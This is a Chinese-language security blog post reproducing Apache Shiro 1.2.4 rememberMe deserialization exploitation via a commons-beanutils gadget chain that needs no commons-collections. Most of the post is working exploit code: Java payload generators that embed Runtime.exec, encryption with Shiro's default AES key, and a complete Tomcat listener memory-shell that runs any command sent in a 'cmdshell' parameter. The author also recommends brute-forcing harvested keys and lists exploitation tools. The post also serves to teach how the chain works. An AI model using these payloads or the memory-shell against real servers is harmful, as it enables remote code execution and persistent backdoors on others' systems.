從commons-beanutils反序列化到shiro無依賴的漏洞利用

bitterz發表於2021-10-13

0 前言

其實shiro的反序列化過程看過,原理也理解,就是沒空復現一遍,正好學習ysoserial序列化系列學習之一Commons-Beanutils,復現一下shiro無其它依賴的命令執行。

1 環境

jdk 1.8u40

commons-beanutils

<dependency>
    <groupId>commons-beanutils</groupId>
    <artifactId>commons-beanutils</artifactId>
    <version>1.8.3</version>
</dependency>

javassist

<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.21.0-GA</version>
</dependency>

shiro: https://github.com/phith0n/JavaThings/tree/master/shirodemo

shiro版本:1.2.4

2 commons-beanutils反序列化鏈

先上程式碼

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsBeanutils {
    // 修改值的方法,簡化程式碼
    public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object, value);
    }

    public static void main(String[] args) throws Exception {
        // 建立惡意類,用於報錯丟擲呼叫鏈
        ClassPool pool = ClassPool.getDefault();
        CtClass payload = pool.makeClass("EvilClass");
        payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
//        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
        byte[] evilClass = payload.toBytecode();

        // set field
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
        setFieldValue(templates, "_name", "test");
        setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

        // 建立序列化物件
        BeanComparator beanComparator = new BeanComparator();
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
        queue.add(1);
        queue.add(1);

        // 修改值
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});

        // 反序列化
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
        out.writeObject(queue);
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
        in.readObject();

    }
}

2.1 TemplatesImple呼叫鏈

這裡就不詳細展開了,前面的文章裡面有詳細的描述:https://www.cnblogs.com/bitterz/p/15263152.html#倒序分析

大致的呼叫鏈是:

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

實際的操作是TemplatesImpl物件中的_bytecodes陣列中的位元組碼,會被遍歷並使用ClassLoader#defineClass載入到jvm中,而後返回一個類物件,並被呼叫無參構造方法,我們的payload在無參構造方法裡插入了惡意程式碼,從而實現RCE。

2.2 PriorityQueue呼叫鏈

執行前面的程式碼後,看到如下呼叫鏈:

at EvilClass.<clinit>(EvilClass.java)
...不重要,省略
at java.lang.reflect.Constructor.newInstance(Constructor.java:422)
at java.lang.Class.newInstance(Class.java:442)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:387)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:418)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:439)
...不重要,省略
at org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(PropertyUtilsBean.java:2155)
at org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(PropertyUtilsBean.java:1323)
at org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(PropertyUtilsBean.java:762)
at org.apache.commons.beanutils.PropertyUtilsBean.getProperty(PropertyUtilsBean.java:837)
at org.apache.commons.beanutils.PropertyUtils.getProperty(PropertyUtils.java:426)
at org.apache.commons.beanutils.BeanComparator.compare(BeanComparator.java:157)
at java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:721)
at java.util.PriorityQueue.siftDown(PriorityQueue.java:687)
at java.util.PriorityQueue.heapify(PriorityQueue.java:736)
at java.util.PriorityQueue.readObject(PriorityQueue.java:795)

可見,位元組碼被反序列化時,PriorityQueue#readObject方法會被呼叫,程式碼如下

  • PriorityQueue#readObject
private void readObject(java.io.ObjectInputStream s)    throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();
    // Read in (and discard) array length
    s.readInt();
    queue = new Object[size];
    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();
    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}

其實沒有什麼特別的操作,跟進PriorityQueue#heapify即可

  • PriorityQueue#heapify
private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

此時i不重要,queue[i]=templates惡意物件,也沒有太多可以說的點,因為priorityQueue物件中只儲存了兩個templates物件,所以繼續跟進PriorityQueue#siftDown即可

  • PriorityQueue#siftDown
private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
}

此時x=templates惡意物件,這裡很明顯,由於priorityQueue物件建立時,我們傳入了對應的comparator物件,所以comparator != null,進入PriorityQueue#siftDownUsingComparator

  • PriorityQueue#siftDownUsingComparator
private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)   // 由於if語句中使用and時,最短判斷原則,當right>size時,不會執行這個compare
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)  // 這個compare方法一定會執行
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

此時x=templates惡意物件,到這裡,實際上PriorityQueue的呼叫鏈就清晰了,主要是從readObject會執行到comparator.compare()方法,由於我們給定了PriorityQueue的comparator這個成員變數為BeanComparator,所以需要跟進BeanComparator.compare方法

2.3 BeanComparator

直接看程式碼

  • BeanComparator#compare
public int compare( Object o1, Object o2 ) {
    if ( property == null ) {
        // compare the actual objects
        return comparator.compare( o1, o2 );
    }

    try {
        Object value1 = PropertyUtils.getProperty( o1, property );
        Object value2 = PropertyUtils.getProperty( o2, property );
        return comparator.compare( value1, value2 );
    }
    catch ( IllegalAccessException iae ) {
        throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
    } 
    catch ( InvocationTargetException ite ) {
        throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
    }
    catch ( NoSuchMethodException nsme ) {
        throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
    } 
}

我們的程式碼中,反射修改了BeanComparator的property屬性為"outputProperties",即property="outputProperties",所以進入try程式碼塊,之前從PriorityQueue傳進來的變數o1=templates惡意物件,而PropertyUtils.getProperty方法也比較簡單,就是獲取指定的屬性,跟進一下

  • PropertyUtils#getProperty
public static Object getProperty(Object bean, String name)throws IllegalAccessException, InvocationTargetException,            NoSuchMethodException {
        return (PropertyUtilsBean.getInstance().getProperty(bean, name));

}

注意此時bean=templates,name="outputProperties",需要跟進PropertyUtilsBean#getProperty方法

  • PropertyUtilsBean#getProperty
public Object getProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
        return (getNestedProperty(bean, name));
}

此時bean=templates,name="outputProperties",繼續跟進

  • PropertyUtilsBean#getNestedProperty
public Object getNestedProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {

    if (bean == null) {
        throw new IllegalArgumentException("No bean specified");
    }
    if (name == null) {
        throw new IllegalArgumentException("No name specified for bean class '" +
                                           bean.getClass() + "'");
    }

    // Resolve nested references
    while (resolver.hasNested(name)) {
        // 不關鍵程式碼
    }

    if (bean instanceof Map) {
        bean = getPropertyOfMapBean((Map) bean, name);
    } else if (resolver.isMapped(name)) {
        bean = getMappedProperty(bean, name);
    } else if (resolver.isIndexed(name)) {
        bean = getIndexedProperty(bean, name);
    } else {
        bean = getSimpleProperty(bean, name);
    }
    return bean;

}

此時bean=templates,name="outputProperties",要過while迴圈,判斷語句中resolver是DefaultResolver類的例項,跟進其中的hasNested方法即可,比較簡單就不貼程式碼了,返回值為false,所以不進入while迴圈,直接進入下面if else程式碼塊,由於bean=templates所以if和else if判斷都是false,進入else程式碼塊,執行PropertyUtilsBean#getSimpleProperty

  • PropertyUtilsBean#getSimpleProperty
public Object getSimpleProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException,             NoSuchMethodException {

    // 省略
    // Handle DynaBean instances specially
    if (bean instanceof DynaBean) {
        // 省略
    }

    // Retrieve the property getter method for the specified property
    PropertyDescriptor descriptor = getPropertyDescriptor(bean, name);  // 關鍵點1和上方的註釋
    if (descriptor == null) {
        throw new NoSuchMethodException("Unknown property '" +
                                        name + "' on class '" + bean.getClass() + "'" );
    }
    Method readMethod = getReadMethod(bean.getClass(), descriptor);  // 關鍵點2
    if (readMethod == null) {
        throw new NoSuchMethodException("Property '" + name +
                                        "' has no getter method in class '" + bean.getClass() + "'");
    }

    // Call the property getter and return the value
    Object value = invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY); // 進入TemplatesImpl#getOutputProperties()呼叫鏈
    return (value);

}

這個方法中有三個關鍵點,第一個是呼叫getPropertyDescriptor方法獲取屬性的getter方法,從上面的英文註釋就可以看到,當然具體程式碼也可以看到methodName="get"+name的操作。然後後getReadMethod方法獲取TemplatesImpl#getOutputProperties這個method物件,然後進入invokeMethod方法,執行TemplatesImpl#getOutputProperties呼叫鏈,觸發惡意程式碼。

3 Shiro無依賴paylaod

前面的commons-beanutils反序列化鏈看起來似乎只依賴了一個Commons-Beanutils依賴,但實際上開啟org.apache.commons.beanutils.BeanComparator的原始碼,看到裡面存在:import org.apache.commons.collections.comparators.ComparableComparator;,而ComparableComparator來自於commons-collections。

這些依賴會導致一個問題,shiro必須使用Commons-Beanutils這個依賴,但不需要Commons-Collections,因為shiro只需要用到Commons-Beanutils中的一些類,不涉及Commons-Collections,因此前面的利用鏈會直接失效,我們需要對BeanComparator中的comparator屬性修改為jdk自帶的類,從而避免依賴問題。

shiro的反序列化漏洞原理就不詳細展開了(其實也就是獲取rememberMe欄位的值,然後base64解碼,再aes解碼,然後執行readObject反序列化),網上資料很多,我這裡使用的環境來自於shirodemo,匯入idea後,然後啟動專案,在login.jsp頁面勾選rememberMe,使用burp抓包,在cookie裡面新增"rememberMe=payload;" ,注意分號;

獲取payload的程式碼如下

package com.bitterz.stream;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;


public class CommonsBeanutilsShiro {
    // 反射修改field,統一寫成函式,方便閱讀程式碼
    public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object, value);
    }

    // 獲取攻擊鏈序列化後的byte陣列
    public static byte[] getPayload() throws Exception {
        // 建立惡意類,用於報錯丟擲呼叫鏈
        ClassPool pool = ClassPool.getDefault();
        CtClass payload = pool.makeClass("EvilClass");
        payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        // 看shiro呼叫鏈用這個
		// payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
        
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
        byte[] evilClass = payload.toBytecode();

        // set field
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
        setFieldValue(templates, "_name", "test");
        setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

        // 建立序列化物件
        BeanComparator beanComparator = new BeanComparator();
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
        queue.add(1);
        queue.add(1);

        // 修改值
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});

        // 反序列化
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

        ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
        out.writeObject(queue);
        out.close();
        return byteArrayOutputStream.toByteArray();
    }

    public static void main(String[] args) throws Exception {
        byte[] payloads = CommonsBeanutilsShiro.getPayload();

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
		// 為shiro 1.2.4預設金鑰,詳情見AbstractRememberMeManager類的DEFAULT_CIPHER_KEY_BYTES屬性
        ByteSource ciphertext = aes.encrypt(payloads, key);
        // 由於繼承關係,encrypt實際呼叫的是JcaCipherService#encrypt
        // 跟進程式碼後發現實際返回的是ByteSource介面的實現類——SimpleByteSource類,其toString方法會自動對byte陣列進行base64編碼
        System.out.printf(ciphertext.toString());
    }
}

執行程式碼,獲取shiro反序列化攻擊的payload,如前面說的一樣,加入到cookie中,傳送payload

成功彈出計算器,但是我們修改pom.xml,註釋掉commons-collections的依賴,然後重啟專案,就會發現之前的payload會報錯:

Caused by: org.apache.shiro.util.UnknownClassException: Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator] from the thread context, current, or system/application ClassLoaders.  All heuristics have been exhausted.  Class could not be found.

這裡也就很明顯觸發了前面提到的問題,shiro一定依賴與commons-beanutils,但Web應用不一定依賴commons-collections,那麼我們應該如何修正呢?

首先是BeanComparator的幾個構造方法:

  • BeanComparator的構造方法
public class BeanComparator implements Comparator, Serializable {
    private String property;
    private Comparator comparator;

    public BeanComparator() {  // 構造方法1
        this( null );
    }

    public BeanComparator( String property ) {  // 構造方法2
        this( property, ComparableComparator.getInstance() );
    }

    public BeanComparator( String property, Comparator comparator ) { // 構造方法3
        setProperty( property );
        if (comparator != null) {
            this.comparator = comparator;
        } else {
            this.comparator = ComparableComparator.getInstance();
        }
    }
}

可以看到,想要不使用ComparableComparator這個類,必須在構造方法3處給入comparator引數,由於comparator必須存在,但具體什麼型別並不影響後面的呼叫鏈,所以給進去的這個類要滿足三個條件即可:

  • 實現java.util.Comparator介面
  • 實現java.io.Serializable介面
  • Java、shiro或commons-beanutils自帶,且相容性強

這裡直接用一下大佬給出的兩個類:

  • String.CASE_INSENSITIVE_ORDER獲取執行環境中的CaseInsensitiveComparator類
  • java.util.Collections$ReverseComparator

CaseInsensitiveComparator

利用這兩個類,對前面的程式碼稍加修改

package com.bitterz.stream;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.util.Collections;



public class CommonsBeanutilsShiro {
    // 反射修改field,統一寫成函式,方便閱讀程式碼
    public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object, value);
    }

    // 獲取攻擊鏈序列化後的byte陣列
    public static byte[] getPayload() throws Exception {
        // 建立惡意類,用於報錯丟擲呼叫鏈
        ClassPool pool = ClassPool.getDefault();
        CtClass payload = pool.makeClass("EvilClass");
        payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        // 看shiro呼叫鏈用這個
		// payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
        byte[] evilClass = payload.toBytecode();

        // set field
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
        setFieldValue(templates, "_name", "test");
        setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

        // 建立序列化物件
        BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);  // **修改點1**
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
        queue.add("1");  // **修改點2**
        queue.add("1");

        // 修改值
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});

        // 反序列化
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
        out.writeObject(queue);
        out.close();
        return byteArrayOutputStream.toByteArray();
    }

    public static void main(String[] args) throws Exception {
        byte[] payloads = CommonsBeanutilsShiro.getPayload();

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        // 為shiro 1.2.4預設金鑰,詳情見AbstractRememberMeManager類的DEFAULT_CIPHER_KEY_BYTES屬性
        ByteSource ciphertext = aes.encrypt(payloads, key);
        // 由於繼承關係,encrypt實際呼叫的是JcaCipherService#encrypt
        // 跟進程式碼後發現實際返回的是ByteSource介面的實現類——SimpleByteSource類,其toString方法會自動對byte陣列進行base64編碼
        System.out.printf(ciphertext.toString());
    }
}

修改後,在無commons-collections的情況下再來一次

成功彈出計算器!如果想看shiro反序列化利用鏈的完整呼叫棧,可以把程式碼中的惡意程式碼改一下,上面的程式碼中已經給出了,操作一下就出來了。

java.util.Collections$ReverseComparator

先看看這個類相關的原始碼

package java.util;
public class Collections{
    public static <T> Comparator<T> reverseOrder() {  // 直接呼叫這裡
        return (Comparator<T>) ReverseComparator.REVERSE_ORDER;  
    }
    
    private static class ReverseComparator implements Comparator<Comparable<Object>>, Serializable {
        static final ReverseComparator REVERSE_ORDER = new ReverseComparator();
    }
}

可以看到直接呼叫Collections#reverseOrder方法即可獲得該類物件,因此對前面的payload稍加更改即可實現無依賴的shiro反序列化

//修改CommonsBeanutilsShiro類程式碼

BeanComparator beanComparator = new BeanComparator(null, Collections.reverseOrder());  // 修改一下這裡就可以
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);

修改之後再打一次,成功彈計算器

4 總結

4.1 shiro反序列化的注意事項

由於shiro反序列化需要用到AES加密,而該加密方法的金鑰是加解密一致的,所以我們使用shiro反序列化時,AES加密的金鑰必須跟伺服器一致,所以經常需要盲猜伺服器的金鑰,好在java開發們一般都不會去修改它,而且常常直接copy論壇和github上的程式碼,所以可以大量收集各種金鑰,然後遍歷來完成反序列化漏洞利用。

好在也有很多可以直接上手用的掃描或利用工具,例如xrayhttps://github.com/feihong-cs/ShiroExploit-Deprecated、https://github.com/sv3nbeast/ShiroScan、https://github.com/j1anFen/shiro_attack

4.2 shiro反序列化利用--注入記憶體馬

由於shiro作用於中介軟體的filter環節,所以servlet記憶體馬在訪問階段就被shiro幹掉了,不能用。因此必須寫入filter記憶體馬,並將其放在shiro的filter前面,以便訪問和利用;另外,也可以寫入listener記憶體馬,不需要操心filter順序問題,但可能會影響伺服器效能。

這裡以listener記憶體馬實驗一下,首先是listener記憶體馬部分,編譯的話,需要新增tomcat/lib目錄下的jar包

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardEngine;
import org.apache.catalina.core.StandardHost;
import javax.servlet.*;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Iterator;

public class Add extends AbstractTranslet implements ServletRequestListener {
    String uri;
    String serverName;
    StandardContext standardContext;
    String pwd = "cmdshell";   // 記憶體馬的密碼
    
    public Object getField(Object object, String fieldName) {
        Field declaredField;
        Class clazz = object.getClass();
        while (clazz != Object.class) {
            try {

                declaredField = clazz.getDeclaredField(fieldName);
                declaredField.setAccessible(true);
                return declaredField.get(object);
            } catch (NoSuchFieldException e){}
            catch (IllegalAccessException e){}
            clazz = clazz.getSuperclass();
        }
        return null;
    }

    public Add(String aaa){}

    public Add() {

        Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
        Object object;
        for (Thread thread : threads) {

            if (thread == null) {
                continue;
            }
            if (thread.getName().contains("exec")) {
                continue;
            }
            Object target = this.getField(thread, "target");
            if (!(target instanceof Runnable)) {
                continue;
            }

            try {
                object = getField(getField(getField(target, "this$0"), "handler"), "global");
            } catch (Exception e) {
                continue;
            }

            if (object == null) {
                continue;
            }

            java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
            Iterator iterator = processors.iterator();
            while (iterator.hasNext()) {
                Object next = iterator.next();

                Object req = getField(next, "req");
                Object serverPort = getField(req, "serverPort");
                if (serverPort.equals(-1)){continue;}
                org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
                this.serverName = (String) getField(serverNameMB, "strValue");
                if (this.serverName == null){
                    this.serverName = serverNameMB.toString();
                }
                if (this.serverName == null){
                    this.serverName = serverNameMB.getString();
                }

                org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "uriMB");
                this.uri = (String) getField(uriMB, "strValue");
                if (this.uri == null){
                    this.uri = uriMB.toString();
                }
                if (this.uri == null){
                    this.uri = uriMB.getString();
                }

                this.getStandardContext();
            }
        }

        if (this.standardContext != null){
            try {
                Add addListener = new Add("aaa");
                standardContext.addApplicationEventListener(addListener);
            }catch (Exception e){e.printStackTrace();}
        }
    }



    public void getStandardContext() {
        Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
        for (Thread thread : threads) {
            if (thread == null) {
                continue;
            }
            if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {

                Object target = this.getField(thread, "target");
                HashMap children;
                Object jioEndPoint = null;
                try {
                    jioEndPoint = getField(target, "this$0");
                }catch (Exception e){}
                if (jioEndPoint == null){
                    try{
                        jioEndPoint = getField(target, "endpoint");
                    }catch (Exception e){ return; }
                }
                Object service = getField(getField(getField(getField(getField(jioEndPoint, "handler"), "proto"), "adapter"), "connector"), "service");
                StandardEngine engine = null;
                try {
                    engine = (StandardEngine) getField(service, "container");
                }catch (Exception e){}
                if (engine == null){
                    engine = (StandardEngine) getField(service, "engine");
                }

                children = (HashMap) getField(engine, "children");
                StandardHost standardHost;
                standardHost = (StandardHost) children.get(this.serverName);
                if(standardHost == null){
                    Iterator iterator = children.values().iterator();
                    while (iterator.hasNext()){
                        standardHost = (StandardHost) iterator.next();
                        if (standardHost.getName().equals(this.serverName)){
                            break;
                        }
                        if (standardHost.getName().equals("localhost")) {
                            break;
                        }
                    }
                }
                try{
                    children = (HashMap) getField(standardHost, "children");

                    Iterator iterator = children.keySet().iterator();
                    while (iterator.hasNext()){
                        String contextKey = (String) iterator.next();
                        if (!(this.uri.startsWith(contextKey))){continue;}
                        StandardContext standardContext = (StandardContext) children.get(contextKey);
                        this.standardContext = standardContext;
                    }
                }catch (Exception e){
                    e.printStackTrace();
                }
            }
        }
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    public void Add(String aaa){}


    @Override
    public void requestDestroyed(ServletRequestEvent sre) {

    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        String cmdshell = sre.getServletRequest().getParameter(this.pwd);
        if (cmdshell != null) {
            try {
                Runtime.getRuntime().exec(cmdshell);
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
}

然後是構造shiro反序列化利用payload的部分

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtNewConstructor;
import net.dongliu.commons.Sys;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.util.Collections;

public class CommonsBeanutilsShiro {
    // 反射修改field,統一寫成函式,方便閱讀程式碼
    public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object, value);
    }

    // 獲取攻擊鏈序列化後的byte陣列
    public static byte[] getPayload() throws Exception {

        // 建立惡意類,用於報錯丟擲呼叫鏈

        ClassPool pool = new ClassPool(true);
        pool.appendClassPath("C:\\Users\\helloworld\\Desktop\\java learn\\spring_mvc\\spring_mvc\\spring_mvc\\target\\classes\\");  // 前面Add類編譯出來的Add.class的路徑

        CtClass payload = pool.get("Add");


        byte[] evilClass = payload.toBytecode();

        // set field
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
        setFieldValue(templates, "_name", "test");
        setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

        // 建立序列化物件
//        BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        BeanComparator beanComparator = new BeanComparator(null, Collections.reverseOrder());
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
        queue.add("1");
        queue.add("1");

        // 修改值
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});

        // 反序列化
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream out1 = new ObjectOutputStream(byteArrayOutputStream);
        out1.writeObject(queue);
        out1.close();
        return byteArrayOutputStream.toByteArray();
    }

    public static void main(String[] args) throws Exception {
        byte[] payloads = CommonsBeanutilsShiro.getPayload();

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        // 為shiro 1.2.4預設金鑰,詳情見AbstractRememberMeManager類的DEFAULT_CIPHER_KEY_BYTES屬性
        ByteSource ciphertext = aes.encrypt(payloads, key);
        // 由於繼承關係,encrypt實際呼叫的是JcaCipherService#encrypt
        // 跟進程式碼後發現實際返回的是ByteSource介面的實現類——SimpleByteSource類,其toString方法會自動對byte陣列進行base64編碼
        System.out.printf(ciphertext.toString());
    }
}

執行CommonsBeanutilsShiro#main方法,獲得payload,用burp發包,這裡都比較簡單就不截圖了,來看看效果:

在/shirodemo/這個uri下,輸入任意路徑,加引數cmdshell,即可執行命令,由於shiro的作用,執行後又會自動跳到登入頁面

相關文章